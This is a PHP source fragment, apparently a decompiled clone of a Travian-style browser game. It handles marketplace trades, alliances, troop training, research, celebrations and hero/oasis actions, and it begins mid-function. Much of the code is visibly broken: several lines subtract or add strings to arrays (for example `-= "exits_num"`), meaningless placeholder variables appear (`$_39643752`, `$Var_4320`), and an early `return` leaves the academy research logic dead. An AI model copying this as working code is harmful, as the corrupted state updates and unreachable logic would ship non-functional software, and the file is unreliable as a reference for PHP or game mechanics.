$this->merchantProperty['confirm_snd'] = FALSE;                }                else                {                    $this->merchantProperty['vRow'] = $vRow;                    $vid = $this->merchantProperty['to_vid'] = $vRow != NULL ? $vRow['id'] : 0;                    $rel_x = $vRow['rel_x'];                    $rel_y = $vRow['rel_y'];                    $this->merchantProperty['same_village'] = $vid == $this->data['selected_village_id'];                    $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources );                    $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources[1] + $resources[2] + $resources[3] + $resources[4] ) / $this->merchantProperty['capacity'] );                    $this->merchantProperty['confirm_snd'] = 0 < $vid && $this->merchantProperty['available_res'] && 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] && !$this->merchantProperty['same_village'];                    $this->merchantProperty['showError'] = !$this->merchantProperty['confirm_snd'];                    $distance = WebHelper::getdistance( $this->data['rel_x'], $this->data['rel_y'], $rel_x, $rel_y, $this->setupMetadata['map_size'] / 2 );                    $this->merchantProperty['vRow_time'] = intval( $distance / $this->merchantProperty['speed'] * 3600 );                    if ( !$this->merchantProperty['showError'] && $doSend && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $this->merchantProperty['confirm_snd'] = FALSE;                        $this->merchantProperty -= "exits_num";                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $this->merchantProperty['vRow_time'] );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $vRow['player_id'];                        $newTask->toVillageId = $vid;                        $newTask->procParams = $this->merchantProperty['vRow_merchant_num']."|".( $resources[1]." ".$resources[2]." ".$resources[3]." ".$resources[4] );                        $newTask->tag = $resources;                        $this->queueModel->addTask( $newTask );                    }                }            }            $m->dispose( );        }        else if ( $this->selectedTabIndex == 1 )        {            $m = new BuildModel( );            $showOfferList = TRUE;            if ( isset( $_GET['oid'] ) && 0 < intval( $_GET['oid'] ) )            {                $oRow = $m->getOffer2( intval( $_GET['oid'] ), $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2 );                if ( $oRow != NULL )                {                    $aid = 0;                    if ( $oRow['alliance_only'] && 0 < intval( $this->data['alliance_id'] ) )                    {                        $aid = $m->getPlayerAllianceId( $oRow['player_id'] );                    }                    $res2 = explode( "|", $oRow['offer'] );                    $res1 = explode( "|", $oRow['offer'] );                    list( $res1, $res2 ) = $res1;                    $resArr1 = explode( " ", $res1 );                    $needResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res1_item_id = 0;                    $res1_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res1_item_id = $i + 1;                            $res1_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $resArr1 = explode( " ", $res2 );                    $giveResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res2_item_id = 0;                    $res2_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res2_item_id = $i + 1;                            $res2_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $distance = $oRow['timeInSeconds'] / 3600 * $oRow['merchants_speed'];                    $acceptResult = $this->_canAcceptOffer( $needResources, $giveResources, $oRow['village_id'], $oRow['alliance_only'], $aid, $oRow['max_time'], $distance );                    if ( $acceptResult == 5 && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $showOfferList = FALSE;                        $this->merchantProperty['offerProperty'] = array( "player_id" => $oRow['player_id'], "player_name" => $oRow['player_name'], "res1_item_id" => $res1_item_id, "res1_value" => $res1_value, "res2_item_id" => $res2_item_id, "res2_value" => $res2_value );                        $merchantNum = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $distance / ( $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] ) * 3600 );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $oRow['player_id'];                        $newTask->toVillageId = $oRow['village_id'];                        $newTask->procParams = $merchantNum."|".( $giveResources[1]." ".$giveResources[2]." ".$giveResources[3]." ".$giveResources[4] );                        $newTask->tag = $giveResources;                        $this->queueModel->addTask( $newTask );                        $newTask = new QueueTask( QS_MERCHANT_GO, $oRow['player_id'], $oRow['timeInSeconds'] );                        $newTask->villageId = $oRow['village_id'];                        $newTask->toPlayerId = $this->player->playerId;                        $newTask->toVillageId = $this->data['selected_village_id'];                        $newTask->procParams = $oRow['merchants_num']."|".( $needResources[1]." ".$needResources[2]." ".$needResources[3]." ".$needResources[4] );                        $newTask->tag = array( "1" => 0, "2" => 0, "3" => 0, "4" => 0 );                        $this->queueModel->addTask( $newTask );                        $m->removeMerchantOffer( intval( $_GET['oid'] ), $oRow['player_id'], $oRow['village_id'] );                    }                }            }            $this->merchantProperty['showOfferList'] = $showOfferList;            if ( $showOfferList )            {                $rowsCount = $m->getAllOffersCount( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                $this->pageCount = 0 < $rowsCount ? ceil( $rowsCount / $this->pageSize ) : 1;                $this->pageIndex = isset( $_GET['p'] ) && is_numeric( $_GET['p'] ) && intval( $_GET['p'] ) < $this->pageCount ? intval( $_GET['p'] ) : 0;                $this->merchantProperty['all_offers'] = $m->getAllOffers( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'], $this->pageIndex, $this->pageSize );            }            $m->dispose( );        }        else        {            if ( $this->selectedTabIndex == 2 )            {                $m = new BuildModel( );                $this->merchantProperty['showError'] = FALSE;                $this->merchantProperty['showError2'] = FALSE;                $this->merchantProperty['showError3'] = FALSE;                if ( $this->isPost( ) )                {                     if ( isset( $_POST['m1'] ) && 0 < intval( $_POST['m1'] ) && isset( $_POST['m2'] ) && 0 < intval( $_POST['m2'] ) && isset( $_POST['rid1'] ) && 0 < intval( $_POST['rid1'] ) && isset( $_POST['rid2'] ) && 0 < intval( $_POST['rid2'] ) )                        {                        $resources1 = array( "1" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 1 ? intval( $_POST['m1'] ) : 0, "2" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 2 ? intval( $_POST['m1'] ) : 0, "3" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 3 ? intval( $_POST['m1'] ) : 0, "4" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 4 ? intval( $_POST['m1'] ) : 0 );                        $resources2 = array( "1" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 1 ? intval( $_POST['m2'] ) : 0, "2" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 2 ? intval( $_POST['m2'] ) : 0, "3" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 3 ? intval( $_POST['m2'] ) : 0, "4" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 4 ? intval( $_POST['m2'] ) : 0 );                        if ( intval( $_POST['rid1'] ) == intval( $_POST['rid2'] ) || intval( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) <= 0 || intval( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) <= 0 )                        {                            $this->merchantProperty['showError'] = TRUE;                        }                        else if ( 10 < ceil( ( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) / ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) ) )                        {                            $this->merchantProperty['showError'] = TRUE;                            $this->merchantProperty['showError3'] = TRUE;                        }                        $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources1 );                        if ( $this->merchantProperty['available_res'] && !$this->merchantProperty['showError'] )                        {                            $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) / $this->merchantProperty['capacity'] );                            if ( 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] )                            {                                $this->merchantProperty -= "exits_num";                                $this->data += "offer_merchants_count";                                $offer = $resources1[1]." ".$resources1[2]." ".$resources1[3]." ".$resources1[4]."|".( $resources2[1]." ".$resources2[2]." ".$resources2[3]." ".$resources2[4] );                                $m->addMerchantOffer( $this->player->playerId, $this->data['name'], $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->merchantProperty['vRow_merchant_num'], $offer, isset( $_POST['ally'] ), 0 < intval( $_POST['d2'] ) ? intval( $_POST['d2'] ) : 0, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                                foreach ( $resources1 as $k => $v )                                {                                    $this->resources[$k] -= "current_value";                                }                                $this->queueModel->_updateVillage( FALSE, FALSE );                            }                            else                            {                                $this->merchantProperty['showError'] = TRUE;                            }                        }                        else                        {                            $this->merchantProperty['showError'] = TRUE;                        }                    }                    else                    {                        $this->merchantProperty['showError'] = TRUE;                        $this->merchantProperty['showError2'] = TRUE;                    }                }                else if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                {                    $row = $m->getOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    if ( $row != NULL )                    {                        $this->merchantProperty += "exits_num";                        $this->data -= "offer_merchants_count";                        $resources2 = explode( "|", $row['offer'] );                        $resources1 = explode( "|", $row['offer'] );                        list( $resources1, $resources2 ) = $resources1;                        $resourcesArray1 = explode( " ", $resources1 );                        $res = array( );                        $i = 0;                        $_c = sizeof( $resourcesArray1 );                        while ( $i < $_c )                        {                            $res[$i + 1] = $resourcesArray1[$i];                            ++$i;                        }                        foreach ( $res as $k => $v )                        {                            $this->resources[$k] += "current_value";                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m->removeMerchantOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    }                }                $this->merchantProperty['offers'] = $m->getOffers( $this->data['selected_village_id'] );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 && $this->isPost( ) && isset( $_POST['m2'] ) && is_array( $_POST['m2'] ) && sizeof( $_POST['m2'] ) == 4 && $this->gameMetadata['plusTable'][6]['cost'] <= $this->data['gold_num'] )                {                    $resources = array( "1" => intval( $_POST['m2'][0] ), "2" => intval( $_POST['m2'][1] ), "3" => intval( $_POST['m2'][2] ), "4" => intval( $_POST['m2'][3] ) );                    $oldSum = $this->resources[1]['current_value'] + $this->resources[2]['current_value'] + $this->resources[3]['current_value'] + $this->resources[4]['current_value'];                    $newSum = $resources[1] + $resources[2] + $resources[3] + $resources[4];                    if ( $newSum <= $oldSum )                    {                        foreach ( $resources as $k => $v )                        {                            $this->resources[$k]['current_value'] = $v;                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m = new BuildModel( );                        $m->decreaseGoldNum( $this->player->playerId, $this->gameMetadata['plusTable'][6]['cost'] );                        $m->dispose( );                    }                }            }        }    }
    public function handleEmbassy( )    {        if ( 0 < intval( $this->data['alliance_id'] ) )        {        }        else        {            $this->embassyProperty = array( "level" => $this->buildings[$this->buildingIndex]['level'], "invites" => NULL, "error" => 0, "ally1" => "", "ally2" => "" );            $maxPlayers = $this->gameMetadata['items'][18]['levels'][$this->embassyProperty['level'] - 1]['value'];            $this->embassyProperty['ally1'] = $ally1 = trim( $_POST['ally1'] );            $this->embassyProperty['ally2'] = $ally2 = trim( $_POST['ally2'] );            if ( $ally1 == "" || $ally2 == "" )            {                $this->embassyProperty['error'] = $ally1 == "" && $ally2 == "" ? 3 : $ally1 == "" ? 1 : 2;            }            else            {                $m = new BuildModel( );                if ( !$m->allianceExists( $this->embassyProperty['ally1'] ) )                {                    $this->data['alliance_name'] = $this->embassyProperty['ally1'];                    $this->data['alliance_id'] = $m->createAlliance( $this->player->playerId, $this->embassyProperty['ally1'], $this->embassyProperty['ally2'], $maxPlayers );                    $m->dispose( );                }                else                {                    $this->embassyProperty['error'] = 4;                    $m->dispose( );                }            }            $invites_alliance_ids = trim( $this->data['invites_alliance_ids'] );            $this->embassyProperty['invites'] = array( );            if ( $invites_alliance_ids != "" )            {                $_arr = explode( "\n", $invites_alliance_ids );                foreach ( $_arr as $_s )                {                    $allianceName = explode( " ", $_s, 2 );                    $allianceId = explode( " ", $_s, 2 );                    list ( $allianceId, $allianceName ) = $allianceId;                    $this->embassyProperty['invites'][$allianceId] = $allianceName;                }            }            if ( !$this->isPost( ) )            {                if ( isset( $_GET['a'] ) && 0 < intval( $_GET['a'] ) )                {                    $allianceId = intval( $_GET['a'] );                    if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                    {                        $m = new BuildModel( );                        $acceptResult = $m->acceptAllianceJoining( $this->player->playerId, $allianceId );                        if ( $acceptResult == 2 )                        {                            $this->data['alliance_name'] = $this->embassyProperty['invites'][$allianceId];                            $this->data['alliance_id'] = $allianceId;                            unset( $Var_4320['invites'][$allianceId] );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                        }                        else if ( $acceptResult == 1 )                        {                            $this->embassyProperty['error'] = 15;                        }                        $m->dispose( );                    }                }                else                {                    if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                    {                        $allianceId = intval( $_GET['d'] );                        if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                        {                            unset( $Var_5112['invites'][$allianceId] );                            $m = new BuildModel( );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                            $m->dispose( );                        }                    }                }            }        }    }
    public function handleWarrior( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            if ( $researches_done == 1 && 0 < $this->gameMetadata['troops'][$troopId]['gold_needed'] )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        $this->warriorMessage = "";        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $cropConsume = 0;            $totalGoldsNeeded = 0;            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) )                {                    continue;                }                $totalGoldsNeeded += $this->gameMetadata['troops'][$troopId]['gold_needed'] * $num;                $cropConsume += $this->gameMetadata['troops'][$troopId]['crop_consumption'] * $num;            }            if ( $totalGoldsNeeded <= 0 )            {            }            else            {                $canProcess = $totalGoldsNeeded <= $this->data['gold_num'];                $this->warriorMessage = $canProcess ? 1 : 2;                if ( $canProcess )                {                    $troopsString = "";                    foreach ( $this->troops as $tid => $num )                    {                        if ( $tid == 99 )                        {                            continue;                        }                       $neededNum = isset( $this->troopsUpgrade[$tid], $_POST['tf'][$tid] ) ? $_POST['tf'][$tid] : 0;                        if ( $troopsString != "" )                        {                            $troopsString .= ",";                        }                        $troopsString .= $tid." ".$neededNum;                    }                    $m = new BuildModel( );                    $m->decreaseGoldNum( $this->player->playerId, $totalGoldsNeeded );                    $m->dispose( );                    $this->data -= "gold_num";                    $procParams = $troopsString."|0||||||1";                    $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];                    $bLevel = $this->buildings[$this->buildingIndex]['level'];                    $needed_time = $buildingMetadata['levels'][$bLevel - 1]['value'] * 3600;                    $newTask = new QueueTask( QS_WAR_REINFORCE, 0, $needed_time );                    $newTask->villageId = 0;                    $newTask->toPlayerId = $this->player->playerId;                    $newTask->toVillageId = $this->data['selected_village_id'];                    $newTask->procParams = $procParams;                    $newTask->tag = array( "troops" => NULL, "hasHero" => FALSE, "resources" => NULL, "troopsCropConsume" => $cropConsume );                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleTroopBuilding( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgradeType = QS_TROOP_TRAINING;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                {                    continue;                }                $timeFactor = 1;                if ( $this->gameMetadata['troops'][$troopId]['is_cavalry'] == TRUE )                {                    $flvl = $this->_getMaxBuildingLevel( 41 );                    if ( 0 < $flvl )                    {                        $timeFactor -= $this->gameMetadata['items'][41]['levels'][$flvl - 1]['value'] / 100;                    }                }                $troopMetadata = $this->gameMetadata['troops'][$troopId];                $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) * $timeFactor );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->threads = $num;                $newTask->villageId = $this->data['selected_village_id'];                $newTask->buildingId = $this->buildProperties['building']['item_id'];                $newTask->procParams = $troopId;                $newTask->tag = array( "1" => $troopMetadata['training_resources'][1] * $this->buildingTribeFactor * $num, "2" => $troopMetadata['training_resources'][2] * $this->buildingTribeFactor * $num, "3" => $troopMetadata['training_resources'][3] * $this->buildingTribeFactor * $num, "4" => $troopMetadata['training_resources'][4] * $this->buildingTribeFactor * $num );                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleAcademy( )    {        $this->troopsUpgradeType = QS_TROOP_RESEARCH;        $this->troopsUpgrade = array( "available" => array( ), "soon" => array( ) );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 0 )            {                $this->troopsUpgrade[$this->_canDoResearches( $troopId ) ? "available" : "soon"][] = $troopId;            }        }        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && $this->_canDoResearches( intval( $_GET['a'] ) ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $buildingMetadata = $this->gameMetadata['troops'][$troopId];            return;            $calcConsume = intval( $buildingMetadata['research_time_consume'] / $this->gameSpeed );            $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->procParams = $troopId;            $newTask->tag = $buildingMetadata['research_resources'];            $this->queueModel->addTask( $newTask );        }    }
    public function handleTownHall( )    {        $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];        $bLevel = $this->buildings[$this->buildingIndex]['level'];        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[QS_TOWNHALL_CELEBRATION] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            if ( intval( $_GET['a'] ) < 1 || 2 < intval( $_GET['a'] ) || intval( $_GET['a'] ) == 1 && $bLevel < $buildingMetadata['celebrations']['small']['level'] || intval( $_GET['a'] ) == 2 && $bLevel < $buildingMetadata['celebrations']['large']['level'] )            {            }            else            {                $key = intval( $_GET['a'] ) == 2 ? "large" : "small";                if ( !$this->isResourcesAvailable( $buildingMetadata['celebrations'][$key]['resources'] ) )                {                }                else                {                    $calcConsume = intval( $buildingMetadata['celebrations'][$key]['time_consume'] / $this->gameSpeed * ( 10 / ( $bLevel + 9 ) ) );                    $newTask = new QueueTask( QS_TOWNHALL_CELEBRATION, $this->player->playerId, $calcConsume );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->procParams = intval( $_GET['a'] );                    $newTask->tag = $buildingMetadata['celebrations'][$key]['resources'];                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleResidencePalace( )    {        $this->selectedTabIndex = is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $_bid_ = $this->buildings[$this->buildingIndex]['item_id'];        if ( $this->selectedTabIndex == 0 )        {            if ( isset( $_GET['mc'] ) && !$this->data['is_capital'] && !$this->data['is_special_village'] && $_bid_ == 26 )            {                $this->data['is_capital'] = TRUE;                $m = new BuildModel( );                $m->makeVillageAsCapital( $this->player->playerId, $this->data['selected_village_id'] );                $m->dispose( );            }            $this->childVillagesCount = 0;            if ( trim( $this->data['child_villages_id'] ) != "" )            {                $this->childVillagesCount = sizeof( explode( ",", $this->data['child_villages_id'] ) );            }            $itemId = $this->buildings[$this->buildingIndex]['item_id'];            $buildingLevel = $this->buildings[$this->buildingIndex]['level'];            $this->troopsUpgradeType = QS_TROOP_TRAINING;            $this->_getOnlyMyTroops( );            $this->troopsUpgrade = array( );            $_arr = explode( ",", $this->data['troops_training'] );            foreach ( $_arr as $troopStr )            {                $attack_level = explode( " ", $troopStr );                $defense_level = explode( " ", $troopStr );                $researches_done = explode( " ", $troopStr );                $troopId = explode( " ", $troopStr );                list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;                  if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )                {                    $this->troopsUpgrade[] = array( "troopId" => $troopId, "maxNumber" => $this->_getMaxTrainNumber( $troopId, $itemId ), "currentNumber" => $this->_getCurrentNumberFor( $troopId, $itemId ) );                }            }            $this->showBuildingForm = FALSE;            if ( $buildingLevel < 10 || 2 <= $this->childVillagesCount && $_bid_ == 25 || 3 <= $this->childVillagesCount && $_bid_ == 26 || $this->childVillagesCount == 1 && $buildingLevel < 20 && $_bid_ == 25 || $this->childVillagesCount == 1 && $buildingLevel < 15 && $_bid_ == 26 || $this->childVillagesCount == 2 && $buildingLevel < 20 && $_bid_ == 26 )            {                $this->troopsUpgrade = array( );            }            else            {                if ( 1 < sizeof( $this->troopsUpgrade ) )                {                    if ( 1 <= $this->troopsUpgrade[0]['currentNumber'] || 3 <= $this->troopsUpgrade[1]['currentNumber'] )                    {                        $this->troopsUpgrade = array( );                    }                    else                    {                        if ( 0 < $this->troopsUpgrade[1]['currentNumber'] )                        {                            unset( $Var_4224[0] );                        }                    }                }                else if ( 3 <= $this->troopsUpgrade[0]['currentNumber'] )                {                    $this->troopsUpgrade = array( );                }                $this->showBuildingForm = 0 < sizeof( $this->troopsUpgrade );            }            if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )            {                foreach ( $_POST['tf'] as $troopId => $num )                {                    $num = intval( $num );                    $existsTroop = FALSE;                    foreach ( $this->troopsUpgrade as $troop )                    {                        if ( $troop['troopId'] == $troopId )                        {                            $existsTroop = TRUE;                            break;                            break;                        }                    }                    if ( $num <= 0 || !$existsTroop || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                    {                        continue;                    }                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                    $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                    $newTask->threads = $num;                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $this->buildProperties['building']['item_id'];                    $newTask->procParams = $troopId;                    $newTask->tag = $troopMetadata['training_resources'];                    $this->queueModel->addTask( $newTask );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->neededCpValue = $this->totalCpRate = $this->totalCpValue = 0;                $m = new BuildModel( );                $result = $m->getVillagesCp( $this->data['villages_id'] );                while ( $result->next( ) )                {                    //fix2  part f culture points calculations                     $cpRate = explode( " ", $result->row['cp'] );                    $this->cpValue = explode( " ", $result->row['cp'] );                    list ( $this->cpValue, $cpRate ) = $this->cpValue;                    $_39643752 += "cpValue";                    $_39643848 += "totalCpRate";                    $_39643880 += "totalCpValue";                    $_39643880 += "neededCpValue";                    }                $this->totalCpValue = floor( $this->totalCpValue );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 )                {                    $this->childVillages = array( );                    $m = new BuildModel( );                    $result = $m->getChildVillagesFor( trim( $this->data['child_villages_id'] ) );                    while ( $result != NULL && $result->next( ) )                    {                        $this->childVillages[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "village_name" => $result->row['village_name'], "people_count" => $result->row['people_count'], "creation_date" => $result->row['creation_date'] );                    }                    $m->dispose( );                }            }        }    }
    public function handleHerosMansion( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && intval( $_GET['t'] ) == 1 ? intval( $_GET['t'] ) : 0;        if ( $this->selectedTabIndex == 0 )        {            $this->hasHero = 0 < intval( $this->data['hero_troop_id'] );            $this->troopsUpgradeType = QS_TROOP_TRAINING_HERO;            if ( !$this->hasHero )            {                $this->_getOnlyMyTroops( TRUE );                if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troops[intval( $_GET['a'] )] ) && 0 < $this->troops[intval( $_GET['a'] )] && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $troopId = intval( $_GET['a'] );                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $nResources = array( "1" => $troopMetadata['training_resources'][1] * 2, "2" => $troopMetadata['training_resources'][2] * 2, "3" => $troopMetadata['training_resources'][3] * 2, "4" => $troopMetadata['training_resources'][4] * 2 );                    if ( !$this->isResourcesAvailable( $nResources ) )                    {                    }                    else                    {                        $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) ) * 12;                        $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                        $newTask->procParams = $troopId." ".$this->data['selected_village_id'];                        $newTask->tag = $nResources;                        $this->queueModel->addTask( $newTask );                    }                }            }            else            {                if ( $this->isPost( ) && isset( $_POST['hname'] ) && trim( $_POST['hname'] ) != "" )                {                    $this->data['hero_name'] = trim( $_POST['hname'] );                    $m = new BuildModel( );                    $m->changeHeroName( $this->player->playerId, $this->data['hero_name'] );                    $m->dispose( );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->villageOases = array( );                $m = new BuildModel( );                $result = $m->getVillageOases( trim( $this->data['village_oases_id'] ) );                while ( $result != NULL && $result->next( ) )                {                    $this->villageOases[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "image_num" => $result->row['image_num'], "allegiance_percent" => $result->row['allegiance_percent'] );                }                $m->dispose( );                if ( !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $oasisId = intval( $_GET['a'] );                    $newTask = new QueueTask( QS_LEAVEOASIS, $this->player->playerId, floor( 21600 / $this->gameSpeed ) );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $oasisId;                    $newTask->procParams = $this->villageOases[$oasisId]['rel_x']." ".$this->villageOases[$oasisId]['rel_y'];                    $this->queueModel->addTask( $newTask );                }                else                {                    if ( isset( $_GET['qid'] ) && 0 < intval( $_GET['qid'] ) )                    {                        $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );                    }                }            }        }    }
    public function preRender( )    {        parent::prerender( );         /* if ( isset( $_GET['p'] ) )        {            $_41448384 .= "villagesLinkPostfix";        }        if ( isset( $_GET['vid2'] ) )        {             $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;            $_41448784 .= "villagesLinkPostfix";        }         if ( 0 < $this->selectedTabIndex )        {            $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;              // $ && _41448984 .= "villagesLinkPostfix";        }     */    }
    public function __getCoordInRange( $map_size, $x )    {        if ( $map_size <= $x )        {            $x -= $map_size;        }        else if ( $x < 0 )        {            $x = $map_size + $x;        }        return $x;    }
    public function __getVillageId( $map_size, $x, $y )    {        return $x * $map_size + ( $y + 1 );    }
